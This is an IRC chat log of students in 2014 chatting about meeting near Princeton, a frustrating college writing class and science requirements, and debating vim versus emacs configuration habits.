[2014-11-21T16:30:32-0500] <~awe> alokpathy: Wow, a ten minute walk sounds terrible.
[2014-11-21T16:30:41-0500] <Tamini> lol
[2014-11-21T16:30:46-0500] <Tamini> im at holiday inn
[2014-11-21T16:31:06-0500] <alokpathy> awe: Actually I should probably find out how far it really is
[2014-11-21T16:31:09-0500] <alokpathy> oops
[2014-11-21T16:31:10-0500] <alokpathy> hang on
[2014-11-21T16:31:17-0500] <~awe> Tamini: The one just off Route 1?
[2014-11-21T16:31:33-0500] <Tamini> yes
[2014-11-21T16:31:39-0500] <alokpathy> Tamini: Oh that one
[2014-11-21T16:31:45-0500] <JacobEdelman> Tamini: you should totally come to my house, were doing a pumac power round meeting right now, you can give us all the answers
[2014-11-21T16:31:47-0500] <JacobEdelman> :P
[2014-11-21T16:31:50-0500] <~awe> Yeah, it's near Forrestal. 
[2014-11-21T16:32:33-0500] <~awe> Tamini: You're super close to where one of my friends lives.
[2014-11-21T16:32:35-0500] <Tamini> lolol
[2014-11-21T16:32:42-0500] <Tamini> where do you live even
[2014-11-21T16:32:55-0500] <~awe> He lives in Princeton Junction.
[2014-11-21T16:32:59-0500] <JacobEdelman> west windsor, like 10 min away
[2014-11-21T16:33:09-0500] <~awe> Roughly 15 minutes away from where you are, actually.
[2014-11-21T16:33:31-0500] <alokpathy> Tamini: Yeah, you're super close to us
[2014-11-21T16:33:38-0500] <alokpathy> awe: Oh wait it's actually decently close
[2014-11-21T16:33:40-0500] <alokpathy> < 10 min.
[2014-11-21T16:33:45-0500] <alokpathy> I should probably just drive then
[2014-11-21T16:33:59-0500] <~awe> alokpathy: Everything in downtown Princeton is about ten minutes away from eachother.
[2014-11-21T16:34:16-0500] <JacobEdelman> literally everything
[2014-11-21T16:34:18-0500] <~awe> JacobEdelman: Yeah, I just checked. 14m.
[2014-11-21T16:34:28-0500] <JacobEdelman> it can be very inconveint for a student to walk to the blackboard in class
[2014-11-21T16:34:33-0500] <~awe> Lol.
[2014-11-21T16:34:34-0500] <JacobEdelman> hes called up to answer a problem
[2014-11-21T16:34:35-0500] <Tamini> lol
[2014-11-21T16:34:39-0500] <JacobEdelman> 10 minutes later he gets there
[2014-11-21T16:34:42-0500] <JacobEdelman> :P
[2014-11-21T16:34:43-0500] <~awe> Sorry, it's within ten minutes.
[2014-11-21T16:34:49-0500] <JacobEdelman> ahhh
[2014-11-21T16:34:53-0500] <~awe> Also, students don't walk to blackboards anyway.
[2014-11-21T16:34:54-0500] <JacobEdelman> I liked it better the other way
[2014-11-21T16:36:02-0500] <~awe> Man, I hate this so much. I really don't want to write this essay.
[2014-11-21T16:36:06-0500] <~awe> I've actually started though.
[2014-11-21T16:36:12-0500] <~awe> And I've now read all the things I have to write about for the prompt I picked.
[2014-11-21T16:38:24-0500] <~awe> JacobEdelman: writing classes: never again.
[2014-11-21T16:38:53-0500] <alokpathy> Says the WWP HSN '14 most passionate writer
[2014-11-21T16:38:56-0500] <Tamini> is it required?
[2014-11-21T16:38:58-0500] <~awe> No.
[2014-11-21T16:39:02-0500] <~awe> alokpathy: lol, yup.
[2014-11-21T16:39:09-0500] <~awe> alokpathy: Writing at Uni is deeply frustrating though.
[2014-11-21T16:39:35-0500] <alokpathy> awe: What's the difference?
[2014-11-21T16:39:47-0500] <~awe> Loosely defined criteria (I'll show you our grading guidelines), and only a couple assignments determine your grade.
[2014-11-21T16:40:08-0500] <~awe> https://www.dropbox.com/s/zxk6d1n4wp62xut/Screenshot%202014-11-21%2016.40.06.png?dl=0
[2014-11-21T16:40:09-0500] <alokpathy> Oh, dang
[2014-11-21T16:40:13-0500] <~awe> This is our grading guidelines.
[2014-11-21T16:40:13-0500] <Tamini> lol
[2014-11-21T16:40:23-0500] <~awe> Note that they're two or three sentences each.
[2014-11-21T16:40:29-0500] <Tamini> alokpathy: so
[2014-11-21T16:40:32-0500] <Tamini> what did brice say
[2014-11-21T16:40:33-0500] <alokpathy> Wow
[2014-11-21T16:40:34-0500] <alokpathy> so vague
[2014-11-21T16:40:41-0500] <alokpathy> Tamini: Uhh idk
[2014-11-21T16:40:44-0500] <alokpathy> Forgot to ask
[2014-11-21T16:40:49-0500] <alokpathy> and he's not online now
[2014-11-21T16:40:49-0500] <Tamini> dammit apothy
[2014-11-21T16:41:08-0500] <~awe> Basically, they just wrote "An A is a good paper. A B is a decent paper. A C is a paper, I guess."
[2014-11-21T16:41:19-0500] <alokpathy> awe: .-.
[2014-11-21T16:41:29-0500] <alokpathy> much vague
[2014-11-21T16:41:37-0500] <Tamini> wow
[2014-11-21T16:42:26-0500] <~awe> So, yeah, writing classes: not even once.
[2014-11-21T16:42:54-0500] <alokpathy> awe: No credits from Lang?
[2014-11-21T16:43:03-0500] <~awe> I didn't have to take this class.
[2014-11-21T16:43:07-0500] <~awe> That's the worst part.
[2014-11-21T16:43:09-0500] <alokpathy> Oh
[2014-11-21T16:43:10-0500] <alokpathy> dan
[2014-11-21T16:43:11-0500] <alokpathy> g
[2014-11-21T16:43:13-0500] <alokpathy> can't drop?
[2014-11-21T16:43:16-0500] <~awe> I could.
[2014-11-21T16:43:25-0500] <~awe> But then I'd have it on my transcript that I dropped a class.
[2014-11-21T16:43:28-0500] <alokpathy> o
[2014-11-21T16:43:32-0500] <~awe> And that would suggest that I was failing.
[2014-11-21T16:43:35-0500] <~awe> Which isn't true.
[2014-11-21T16:43:40-0500] <~awe> I'll probably get a B, I think.
[2014-11-21T16:43:42-0500] <~awe> I just hate this class.
[2014-11-21T16:44:00-0500] <alokpathy> :/
[2014-11-21T16:44:16-0500] <Tamini> :/
[2014-11-21T16:44:19-0500] <alokpathy> awe: Oh wait oops I can't drive to Princeton
[2014-11-21T16:44:21-0500] <alokpathy> no insurance
[2014-11-21T16:44:47-0500] <~awe> It's fine. I mean, I'll just put up with the class for now.
[2014-11-21T16:44:51-0500] <~awe> The semester is very nearly over.
[2014-11-21T16:44:57-0500] <~awe> This is the last writing assignment I have for this class.
[2014-11-21T16:45:00-0500] <Tamini> LOL
[2014-11-21T16:45:03-0500] <~awe> Though I have the option of rewriting the first essay I wrote.
[2014-11-21T16:45:12-0500] <~awe> But yeah, I'm not taking anything like this ever again.
[2014-11-21T16:45:20-0500] <~awe> The rest of Uni is going to be math and CS classes.
[2014-11-21T16:45:44-0500] <~awe> And then I have to take two lab science courses.
[2014-11-21T16:45:51-0500] <~awe> Which I'm also going to loathe.
[2014-11-21T16:46:48-0500] <alokpathy> Ew science
[2014-11-21T16:47:14-0500] <Tamini> science is cool
[2014-11-21T16:47:41-0500] <~awe> I hate science.
[2014-11-21T16:47:46-0500] <~awe> Well, that's not exactly fair.
[2014-11-21T16:47:49-0500] <~awe> I find science interesting.
[2014-11-21T16:47:53-0500] <~awe> I hate doing it.
[2014-11-21T16:47:57-0500] <~awe> I have no interest in doing it.
[2014-11-21T16:48:04-0500] <~awe> I hate being forced into doing it.
[2014-11-21T16:48:20-0500] <~awe> They pretend that computer scientists need to take physical sciences because our work will somehow be related to that.
[2014-11-21T16:48:22-0500] <~awe> But that's not true.
[2014-11-21T16:48:48-0500] <~awe> The only computer scientists who use physical sciences are those modeling physical sciences.
[2014-11-21T16:49:07-0500] <~awe> The only application of modeling physical science that isn't a research application in that scientific field that I can think of is physics in video games.
[2014-11-21T16:49:21-0500] <~awe> Guess what? The vast majority of computer scientists won't make video games.
[2014-11-21T16:49:47-0500] <alokpathy> :/
[2014-11-21T16:50:31-0500] <~awe> I loathed every minute of science in high school, too.
[2014-11-21T16:50:42-0500] <Tamini> :/
[2014-11-21T16:50:48-0500] <Tamini> but science is interesting
[2014-11-21T16:50:52-0500] <~awe> Chem was my second lowest grade in high school because I just outright refused to do any of the work.
[2014-11-21T16:51:19-0500] <~awe> I did well in Physics and Bio because my teachers understood that I was smart, but disinterested.
[2014-11-21T16:51:26-0500] <~awe> My Physics teacher especially.
[2014-11-21T16:51:30-0500] <~awe> I didn't turn in labs and stuff.
[2014-11-21T16:51:34-0500] <~awe> She'd just exclude them from my grade.
[2014-11-21T16:51:58-0500] <~awe> I wouldn't get 0s. I just would only be graded based on my performance on tests where I got A's the vast majority of the time.
[2014-11-21T16:54:37-0500] <JacobEdelman> wow...
[2014-11-21T16:54:45-0500] <JacobEdelman> I hated chem...
[2014-11-21T16:54:58-0500] <JacobEdelman> (but that was probaly becuase of the teacher...)
[2014-11-21T17:01:00-0500] <~awe> Yeah, I mean, the terrible Chem teacher was a huge part, too.
[2014-11-21T17:01:13-0500] <alokpathy> awe: Who'd you have?
[2014-11-21T17:01:17-0500] <~awe> Allen.
[2014-11-21T17:01:23-0500] <alokpathy> Ah
[2014-11-21T17:01:26-0500] <alokpathy> JacobEdelman had her too
[2014-11-21T17:01:37-0500] <alokpathy> I haven't heard good things about her.
[2014-11-21T17:02:26-0500] <JacobEdelman> alokpathy: iwas looking for math songs and was dissapointed not to see amg online
[2014-11-21T17:02:28-0500] <JacobEdelman> :P
[2014-11-21T17:03:29-0500] <alokpathy> JacobEdelman: I think it's on FB somewhere
[2014-11-21T17:03:37-0500] <JacobEdelman> oooh, gets me a copy
[2014-11-21T17:03:38-0500] <JacobEdelman> fast
[2014-11-21T17:03:50-0500] <JacobEdelman> (well, you have a few minutes until I run out of other math songs)
[2014-11-21T17:05:18-0500] <alokpathy> JacobEdelman: Nevermind
[2014-11-21T17:05:22-0500] <Tamini> finite simple group of order two?
[2014-11-21T17:05:23-0500] <Tamini> :o
[2014-11-21T17:05:26-0500] <JacobEdelman> ?
[2014-11-21T17:05:32-0500] <JacobEdelman> alokpathy: find it!
[2014-11-21T17:05:39-0500] <alokpathy> JacobEdelman: Ask Brice and Chris to sing it
[2014-11-21T17:05:59-0500] <JacobEdelman> ... they are not here
[2014-11-21T17:06:00-0500] <JacobEdelman> :P
[2014-11-21T17:07:02-0500] <alokpathy> JacobEdelman: Do it tomorrow
[2014-11-21T17:07:23-0500] <Tamini> lol
[2014-11-21T17:07:28-0500] <Tamini> PR is too hard
[2014-11-21T17:08:10-0500] <~awe> What's hard about pull requests?
[2014-11-21T17:10:53-0500] <Tamini> power round
[2014-11-21T17:10:54-0500] <Tamini> :P
[2014-11-21T17:11:16-0500] <Tamini> (also after this weekend, i need you guys to perpetually remind me to writeups)
[2014-11-21T17:11:49-0500] <Tamini> nezorg: do your teammates have 2 >100s each to write up even or did you carry hard?
[2014-11-21T17:15:41-0500] <~awe> LittleBobbyTables: I'm trying to motivate myself to finish this essay by reminding myself that I can configure vim when I'm done, lol.
[2014-11-21T17:15:56-0500] <Tamini> lol
[2014-11-21T17:16:10-0500] <Tamini> configuring vim is a motivator?
[2014-11-21T17:17:23-0500] <~awe> Well, I like configuring stuff when it's fun.
[2014-11-21T17:17:27-0500] <~awe> I hate when it breaks later though.
[2014-11-21T17:17:40-0500] <~awe> I enjoyed configuring awesome for example.
[2014-11-21T17:17:53-0500] <~awe> I was annoyed when the configuration changed because of a big update.
[2014-11-21T17:18:04-0500] <~awe> So, reconfiguring it was a bit annoying and therefore less fun.
[2014-11-21T17:18:09-0500] <nezorg> Tamini: one doesn’t have 2 >100s, but the others do
[2014-11-21T17:18:28-0500] <~awe> But it doesn't break as frequently as some things on Linux. So, it was fine.
[2014-11-21T17:19:38-0500] <Tamini> alokpathy: heading to dinner <3
[2014-11-21T17:22:34-0500] <alokpathy> Tamini: see ya
[2014-11-21T17:22:56-0500] <Tamini> not "coincidentally meeting us" ic
[2014-11-21T17:23:10-0500] <alokpathy> Tamini: Oh wait
[2014-11-21T17:23:11-0500] <alokpathy> I can ask
[2014-11-21T17:23:13-0500] <alokpathy> Brice right now
[2014-11-21T17:23:19-0500] <alokpathy> Oh jk he left
[2014-11-21T17:23:21-0500] <Tamini> LOL
[2014-11-21T17:23:22-0500] <alokpathy> neeeeeeevermind
[2014-11-21T17:23:28-0500] <Tamini> he might've left to see us
[2014-11-21T17:23:29-0500] <Tamini> gg
[2014-11-21T17:23:32-0500] <Tamini> where are you rn?
[2014-11-21T17:23:35-0500] <alokpathy> Home
[2014-11-21T17:23:41-0500] <alokpathy> Princeton JCT
[2014-11-21T17:24:12-0500] <Tamini> :P
[2014-11-21T17:24:22-0500] <Tamini> well you implied you were allll together
[2014-11-21T17:24:41-0500] <alokpathy> oops
[2014-11-21T17:24:59-0500] <~awe> Tamini: where are you going to eat?
[2014-11-21T17:25:05-0500] <~awe> Tamini: They can't show up if they don't know that much.
[2014-11-21T17:25:13-0500] <Tamini> uhhh
[2014-11-21T17:25:17-0500] <Tamini> I have no idea
[2014-11-21T17:25:30-0500] <alokpathy> We'll just try every restaurant nearby
[2014-11-21T17:25:32-0500] <alokpathy> O(n) time
[2014-11-21T17:25:36-0500] <alokpathy> should be fast enough
[2014-11-21T17:25:40-0500] <Tamini> LOL
[2014-11-21T17:25:47-0500] <~awe> Tamini: do you know how good the restaurant is?
[2014-11-21T17:25:59-0500] <Tamini> i actually have 0 idea what our plans are
[2014-11-21T17:26:03-0500] <~awe> Then they can sort the restaurants by goodness and it'll only take O(log n) time.
[2014-11-21T17:26:08-0500] <The_Master> eps corner has good chinese food
[2014-11-21T17:26:12-0500] <Tamini> oh wait
[2014-11-21T17:26:16-0500] <~awe> The_Master: Sultan Wok, doe.
[2014-11-21T17:26:17-0500] <Tamini> that might be where we're going
[2014-11-21T17:26:23-0500] <alokpathy> Oh nice
[2014-11-21T17:26:26-0500] <Tamini> i heard something about chinese food
[2014-11-21T17:26:28-0500] <alokpathy> Tamini: Get the spicy pot
[2014-11-21T17:26:29-0500] <alokpathy> <3
[2014-11-21T17:26:39-0500] <alokpathy> and there was this
[2014-11-21T17:26:40-0500] <alokpathy> tofu thing
[2014-11-21T17:26:44-0500] <alokpathy> that was really good
[2014-11-21T17:27:03-0500] <Tamini> odang ok
[2014-11-21T17:27:09-0500] <The_Master> the hot(spicy?) pot is great
[2014-11-21T17:27:13-0500] <+LittleBobbyTables> awe, configuring Vim is so fun.
[2014-11-21T17:27:21-0500] <alokpathy> The_Master: I think it was called spicy pot
[2014-11-21T17:27:24-0500] <bob_twinkles> it's also a massive time sync
[2014-11-21T17:27:26-0500] <bob_twinkles> *sink
[2014-11-21T17:27:26-0500] <+LittleBobbyTables> So rewarding, even.
[2014-11-21T17:27:27-0500] <bob_twinkles> -_-
[2014-11-21T17:27:37-0500] <+LittleBobbyTables> For the basics of what he wanted, it's not really
[2014-11-21T17:27:47-0500] <~awe> bob_twinkles: Which is why I don't like when stuff breaks.
[2014-11-21T17:27:56-0500] <bob_twinkles> https://github.com/bobtwinkles/dotfiles
[2014-11-21T17:27:57-0500] <Tamini> bob_twinkles: i like it though.
[2014-11-21T17:28:08-0500] <Tamini> odang
[2014-11-21T17:28:25-0500] <bob_twinkles> that represents
[2014-11-21T17:28:28-0500] <bob_twinkles> far too much of my time
[2014-11-21T17:28:49-0500] <Tamini> time to stalk all of it
[2014-11-21T17:28:55-0500] <bob_twinkles> heh
[2014-11-21T17:28:57-0500] <+LittleBobbyTables> Your config looks weird
[2014-11-21T17:29:14-0500] <+LittleBobbyTables> Mostly the two tab functions
[2014-11-21T17:29:38-0500] <Tamini> lol
[2014-11-21T17:29:49-0500] <+LittleBobbyTables> And two space tabs
[2014-11-21T17:29:49-0500] <+LittleBobbyTables> :/
[2014-11-21T17:29:54-0500] <Tamini> wait
[2014-11-21T17:29:58-0500] <JacobEdelman> I backed up my entire home folder (more or less) too minbox.com
[2014-11-21T17:30:00-0500] <JacobEdelman> all 7 gigs
[2014-11-21T17:30:03-0500] <Tamini> you don't do two-space tabs?
[2014-11-21T17:30:03-0500] <JacobEdelman> I'm so proud
[2014-11-21T17:30:10-0500] <+LittleBobbyTables> 4 space master race
[2014-11-21T17:30:16-0500] <+LittleBobbyTables> Also, no ruler?
[2014-11-21T17:30:22-0500] <Tamini> wow 4 space
[2014-11-21T17:30:28-0500] <Tamini> do you think you're cool or something
[2014-11-21T17:30:35-0500] <+LittleBobbyTables> At least it's not 8 spaces like the default is
[2014-11-21T17:30:36-0500] <+LittleBobbyTables> :/
[2014-11-21T17:30:40-0500] <~awe> 4 space is correct.
[2014-11-21T17:30:42-0500] <+LittleBobbyTables> 4 just looks so much cleaner.
[2014-11-21T17:30:47-0500] <+LittleBobbyTables> See, awe knows what's p.
[2014-11-21T17:30:48-0500] <+LittleBobbyTables> up
[2014-11-21T17:30:50-0500] <bob_twinkles> LittleBobbyTables: the tab line functions... create a custom tab line
[2014-11-21T17:30:52-0500] <+LittleBobbyTables> I hate this laptop.
[2014-11-21T17:30:54-0500] <bob_twinkles> and 2 spaces masterrace
[2014-11-21T17:30:56-0500] <~awe> Most languages idiomatically define tabs as 4 spaces.
[2014-11-21T17:31:09-0500] <~awe> 2 space tabs are a violation of most language idioms.
[2014-11-21T17:31:09-0500] <bob_twinkles> less space consumed, enough to give you levels of indentation
[2014-11-21T17:31:24-0500] <~awe> I use 4 spaces because Rust defines it as such.
[2014-11-21T17:31:36-0500] <+LittleBobbyTables> Space isn't really an issue
[2014-11-21T17:31:36-0500] <~awe> In Haskell, I just use spaces and align stuff myself.
[2014-11-21T17:31:46-0500] <bob_twinkles> which is how you have to do it more or less
[2014-11-21T17:31:51-0500] <bob_twinkles> haskell is Special
[2014-11-21T17:31:56-0500] <Tamini> lol
[2014-11-21T17:32:01-0500] <bob_twinkles> I would hate to write haskell code without vim block mode =P
[2014-11-21T17:32:04-0500] <~awe> It results in some beautiful looking code though.
[2014-11-21T17:32:06-0500] <~awe> vim block mode?
[2014-11-21T17:32:15-0500] <bob_twinkles> ^V
[2014-11-21T17:32:21-0500] <bob_twinkles> it's magical
[2014-11-21T17:32:25-0500] <~awe> What does it do?
[2014-11-21T17:32:29-0500] <bob_twinkles> block selection!
[2014-11-21T17:32:38-0500] <~awe> I don't know what that means.
[2014-11-21T17:32:51-0500] <+LittleBobbyTables> bob_twinkles: why do you keep error bell?
[2014-11-21T17:33:06-0500] <bob_twinkles> ?
[2014-11-21T17:33:21-0500] <+LittleBobbyTables> You know when it beeps at you for doing something wrong?
[2014-11-21T17:33:26-0500] <bob_twinkles> oh
[2014-11-21T17:33:33-0500] <bob_twinkles> gentoo's global vimrc disables that
[2014-11-21T17:33:51-0500] <bob_twinkles> so I've never bothered to put it in my own vimrc
[2014-11-21T17:34:06-0500] <bob_twinkles> awe: basically lets you select columns of text and do stuff with them
[2014-11-21T17:34:09-0500] <+LittleBobbyTables> I haven't set my gvimrc, considering I'm really the only one that ever uses anything.
[2014-11-21T17:34:15-0500] <bob_twinkles> ^V I lets you insert across rows
[2014-11-21T17:34:15-0500] <~awe> I don't understand.
[2014-11-21T17:34:18-0500] <~awe> What on earth do you people DO?
[2014-11-21T17:34:29-0500] <+LittleBobbyTables> What do you mean?
[2014-11-21T17:34:29-0500] <bob_twinkles> uh
[2014-11-21T17:34:37-0500] <~awe> How do you program that you need to select columns of text?
[2014-11-21T17:34:42-0500] <~awe> What on earth are you doing?
[2014-11-21T17:34:54-0500] <bob_twinkles> lots of vector math
[2014-11-21T17:35:11-0500] <~awe> It's just like the uhh...
[2014-11-21T17:35:20-0500] <~awe> The obsession with multicursor support in Sublime and Atom.
[2014-11-21T17:35:29-0500] <~awe> What on earth is the use-case for that?
[2014-11-21T17:35:35-0500] <~awe> It's so niche.
[2014-11-21T17:36:11-0500] <Tamini> well
[2014-11-21T17:36:14-0500] <bob_twinkles> I can see multicursor support being useful for editing HTML (which is what most of the demos of it seem to use)
[2014-11-21T17:36:22-0500] <Tamini> looking at bob_twinkles's project
[2014-11-21T17:36:37-0500] <+LittleBobbyTables> bob_twinkles: can you post your gvimrc?
[2014-11-21T17:36:43-0500] <bob_twinkles> I don't use gvim
[2014-11-21T17:36:44-0500] <bob_twinkles> so
[2014-11-21T17:36:46-0500] <bob_twinkles> no XD
[2014-11-21T17:36:48-0500] <Tamini> block mode would probably help
[2014-11-21T17:36:49-0500] <Tamini> and lol
[2014-11-21T17:36:54-0500] <+LittleBobbyTables> The global vimrc
[2014-11-21T17:36:57-0500] <+LittleBobbyTables> Is what it is :P
[2014-11-21T17:37:01-0500] <Tamini> (also alokpathy you lied to me)
[2014-11-21T17:37:14-0500] <bob_twinkles> it's like 200 lines
[2014-11-21T17:37:19-0500] <+LittleBobbyTables> Do it anyway
[2014-11-21T17:37:24-0500] <Tamini> wait really
[2014-11-21T17:37:51-0500] <+LittleBobbyTables> I love how people have to resort to desperate measures just to get out of an argument they're losing.
[2014-11-21T17:37:59-0500] <~awe> LittleBobbyTables: ?
[2014-11-21T17:38:15-0500] <alokpathy> Tamini: wat
[2014-11-21T17:38:21-0500] <~awe> bob_twinkles: I guess I could see someone using it for HTML. I've never personally wanted it myself though.
[2014-11-21T17:38:34-0500] <bob_twinkles> http://pastebin.com/9FNj402A
[2014-11-21T17:38:42-0500] <bob_twinkles> me neither
[2014-11-21T17:38:46-0500] <+LittleBobbyTables> Him: "Oh, that's a joke about Jewish people!"
[2014-11-21T17:38:46-0500] <+LittleBobbyTables> Me: "It's just a joke, nothing specific, else I would have stated it"
[2014-11-21T17:38:46-0500] <+LittleBobbyTables> <argues>
[2014-11-21T17:38:46-0500] <+LittleBobbyTables> Him: "Whatever. I don't care enough"
[2014-11-21T17:38:46-0500] <+LittleBobbyTables> Me: "Why state what it's about in the first place then?"
[2014-11-21T17:38:46-0500] <+LittleBobbyTables> Him: "Because I'm tired"
[2014-11-21T17:38:47-0500] <~awe> bob_twinkles: The way I see it is that reasoning about programs and types is much slower than typing and copy-and-pasting and mousing and stuff.
[2014-11-21T17:38:48-0500] <bob_twinkles> I don't edit html though =P
[2014-11-21T17:38:55-0500] <~awe> bob_twinkles: So, I don't really need anything fancy.
[2014-11-21T17:39:07-0500] <bob_twinkles> I hate moving my arms
[2014-11-21T17:39:09-0500] <bob_twinkles> so I don't like mice
[2014-11-21T17:39:15-0500] <~awe> Lol.
[2014-11-21T17:39:20-0500] <~awe> Trackball.
[2014-11-21T17:39:32-0500] <bob_twinkles> still requires taking hand of keyboard
[2014-11-21T17:39:37-0500] <~awe> I just want a text box with a treeview, some syntax highlighting, git status, travis-ci status, line numbers, etc.
[2014-11-21T17:39:48-0500] <~awe> bob_twinkles: sure, I guess. It doesn't bother me.
[2014-11-21T17:39:53-0500] <+LittleBobbyTables> bob_twinkles: you have bell enabled apparently.
[2014-11-21T17:40:00-0500] <~awe> I do most of my programming on my laptop anyway. So, I just move my arm very slightly.
[2014-11-21T17:40:06-0500] <bob_twinkles> uh... it might be my terminal emulator has it disabled
[2014-11-21T17:40:18-0500] <bob_twinkles> either way I've never bothered to disable it and I don't get beeped at
[2014-11-21T17:40:25-0500] <+LittleBobbyTables> Fair enough
[2014-11-21T17:41:01-0500] <Tamini> bob_twinkles: isnt that basically
[2014-11-21T17:41:04-0500] <Tamini> why people use vim
[2014-11-21T17:41:08-0500] <bob_twinkles> yeah
[2014-11-21T17:41:12-0500] <Tamini> "too lazy to move hand off keyboard"
[2014-11-21T17:41:22-0500] <bob_twinkles> s/keyboard/home row/
[2014-11-21T17:41:39-0500] <~awe> I don't like it because keyboarding all of that stuff feels weird.
[2014-11-21T17:41:46-0500] <+LittleBobbyTables> Did you map your \ and <esc> to something else?
[2014-11-21T17:41:49-0500] <~awe> Selecting text with my keyboard feels so wrong.
[2014-11-21T17:41:52-0500] <+LittleBobbyTables> I dislike those keys
[2014-11-21T17:41:53-0500] <+LittleBobbyTables> :/
[2014-11-21T17:42:01-0500] <~awe> Unless it's ctrl+a to select everything.
[2014-11-21T17:42:12-0500] <bob_twinkles> the best way I've head it described is that you're having a conversation with the text editor
[2014-11-21T17:42:29-0500] <bob_twinkles> LittleBobbyTables: ^[ is escape and the only time I need \ is for latex
[2014-11-21T17:42:50-0500] <bob_twinkles> and if I'm writting latex the thing that's annoying me is an english paper, not having to use \ =P
[2014-11-21T17:43:33-0500] <Tamini> lol latex
[2014-11-21T17:43:39-0500] <Tamini> wait
[2014-11-21T17:43:45-0500] <Tamini> you LaTeX in vim? ._.
[2014-11-21T17:43:51-0500] <bob_twinkles> ....yes?
[2014-11-21T17:43:56-0500] <~awe> He everythings in vim.
[2014-11-21T17:44:01-0500] <bob_twinkles> more or less yeah
[2014-11-21T17:44:13-0500] <~awe> rms does everything in emacs.
[2014-11-21T17:44:19-0500] <bob_twinkles> if it involves creating text, I probably do it vim
[2014-11-21T17:44:22-0500] <~awe> He "reads" the web in emacs
[2014-11-21T17:44:28-0500] <~awe> He reads and writes emails in emacs.
[2014-11-21T17:44:52-0500] <~awe> He doesn't actually browse the web.
[2014-11-21T17:45:03-0500] <~awe> He downloads webpages and opens them in emacs.
[2014-11-21T17:45:05-0500] <nezorg> I latex in emacs!
[2014-11-21T17:45:12-0500] <nezorg> I also do a bit of browsing in emacs
[2014-11-21T17:45:45-0500] <Tamini> lol
[2014-11-21T17:45:47-0500] <Tamini> what
[2014-11-21T17:45:48-0500] <Tamini> how
[2014-11-21T17:45:59-0500] <~awe> There's plugins.
[2014-11-21T17:46:00-0500] <nezorg> eww-mode
[2014-11-21T17:46:05-0500] <nezorg> comes built-in now
[2014-11-21T17:46:08-0500] <Tamini> and i can't tolerate LaTeXing in anything not made purely for LaTeXing
[2014-11-21T17:46:10-0500] <~awe> nezorg: Seriously?
[2014-11-21T17:46:15-0500] <Tamini> it makes me feel gross
[2014-11-21T17:46:15-0500] <nezorg> awe: yup
[2014-11-21T17:46:15-0500] <~awe> nezorg: That's built-in now?
[2014-11-21T17:46:17-0500] <~awe> WHY?
[2014-11-21T17:46:20-0500] <Tamini> lol
[2014-11-21T17:46:21-0500] <nezorg> :P
[2014-11-21T17:46:23-0500] <~awe> How is this a common usecase for a TEXT EDITOR?
[2014-11-21T17:46:28-0500] <Tamini> LOL
[2014-11-21T17:46:38-0500] <~awe> emacs also comes with games.
[2014-11-21T17:46:39-0500] <bob_twinkles> emacs isn't a text editor
[2014-11-21T17:46:42-0500] <~awe> emacs is an operating system.
[2014-11-21T17:46:43-0500] <nezorg> as is common to say, emacs is practically an os :P
[2014-11-21T17:46:44-0500] <nezorg> yeah
[2014-11-21T17:46:45-0500] <Tamini> you mean you don't browse on a text editor?
[2014-11-21T17:46:51-0500] <nezorg> …but honestly, it’s useful
[2014-11-21T17:46:56-0500] <nezorg> not for everyday browsing
[2014-11-21T17:46:59-0500] <Tamini> in what circumstance?
[2014-11-21T17:47:02-0500] <bob_twinkles> documentation
[2014-11-21T17:47:02-0500] <nezorg> but e.g. reading docs
[2014-11-21T17:47:04-0500] <nezorg> yeah
[2014-11-21T17:47:08-0500] <Tamini> ah, okay
[2014-11-21T17:47:15-0500] <~awe> I'd rather just have a real browser open and read docs like that.
[2014-11-21T17:47:26-0500] <~awe> I don't need everything to happen in one application.
[2014-11-21T17:47:30-0500] <nezorg> awe: well it’s nice since you have all your emacs things and it’s just a normal buffer
[2014-11-21T17:47:43-0500] <nezorg> so you can do e.g. M-C-v to scroll down even when you’re in your code buffer
[2014-11-21T17:48:18-0500] <~awe> This goes back to my hating scrolling without two-finger scrolling or a scroll wheel.
[2014-11-21T17:48:25-0500] <~awe> Why would I want to scroll with a keyboard command?
[2014-11-21T17:48:27-0500] <bob_twinkles> jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
[2014-11-21T17:48:33-0500] <bob_twinkles> 'cause lazy
[2014-11-21T17:48:48-0500] <nezorg> awe: uhhh so that you don’t have to take your hands off the keyboard
[2014-11-21T17:48:49-0500] <~awe> I used a web browser that uses vim keybindings for a while.
[2014-11-21T17:48:57-0500] <~awe> It was fine, I guess.
[2014-11-21T17:48:58-0500] <bob_twinkles> or like 135gg takes me to line 135
[2014-11-21T17:49:01-0500] <~awe> But I just didn't care that much.
[2014-11-21T17:49:15-0500] <~awe> bob_twinkles: that's useful for one specific thing
[2014-11-21T17:49:18-0500] <~awe> bob_twinkles: at least to me.
[2014-11-21T17:49:22-0500] <nezorg> bob_twinkles: why gg? emacs uses M-g M-g as well so it’s kind of universal
[2014-11-21T17:49:24-0500] <nezorg> but why gg
[2014-11-21T17:49:33-0500] <bob_twinkles> "go"
[2014-11-21T17:49:34-0500] <Tamini> awe: you underestimate the laziness of some people
[2014-11-21T17:49:39-0500] <bob_twinkles> and g twice because it's a line operation
[2014-11-21T17:49:40-0500] <nezorg> bob_twinkles: huh
[2014-11-21T17:49:46-0500] <bob_twinkles> < randomly guessing
[2014-11-21T17:49:53-0500] <~awe> bob_twinkles: I'd want that for error messages
[2014-11-21T17:49:55-0500] <~awe> but that's about it
[2014-11-21T17:50:01-0500] <~awe> like "oh, problem on line 141241"
[2014-11-21T17:50:04-0500] <~awe> 141241gg
[2014-11-21T17:50:07-0500] <bob_twinkles> well yes
[2014-11-21T17:50:08-0500] <~awe> Okay, there's the porlbme.
[2014-11-21T17:50:10-0500] <~awe> problem*
[2014-11-21T17:50:24-0500] <~awe> Otherwise, I can't believe that anyone would keep track of the line location of things in their program.
[2014-11-21T17:50:27-0500] <nezorg> awe: well in emacs you just have the error in your terminal buffer and you can just put your point on that line number and it’ll jump there!
[2014-11-21T17:50:43-0500] <~awe> nezorg: Pretty sure you can do the exact same thing in vim.
[2014-11-21T17:50:43-0500] <sdamashek> bob_twinkles: so does :135 and it's less typing :P
[2014-11-21T17:50:50-0500] <nezorg> awe: not surprising
[2014-11-21T17:50:51-0500] <bob_twinkles> that's one thing that would be nice in vim
[2014-11-21T17:50:54-0500] <bob_twinkles> working terminal buffers
[2014-11-21T17:51:07-0500] <bob_twinkles> there's probably an extension, I've just been too lazy to look for it
[2014-11-21T17:51:12-0500] <~awe> There definitely is.
[2014-11-21T17:51:22-0500] <bob_twinkles> sdamashek: but that requires pressing shift
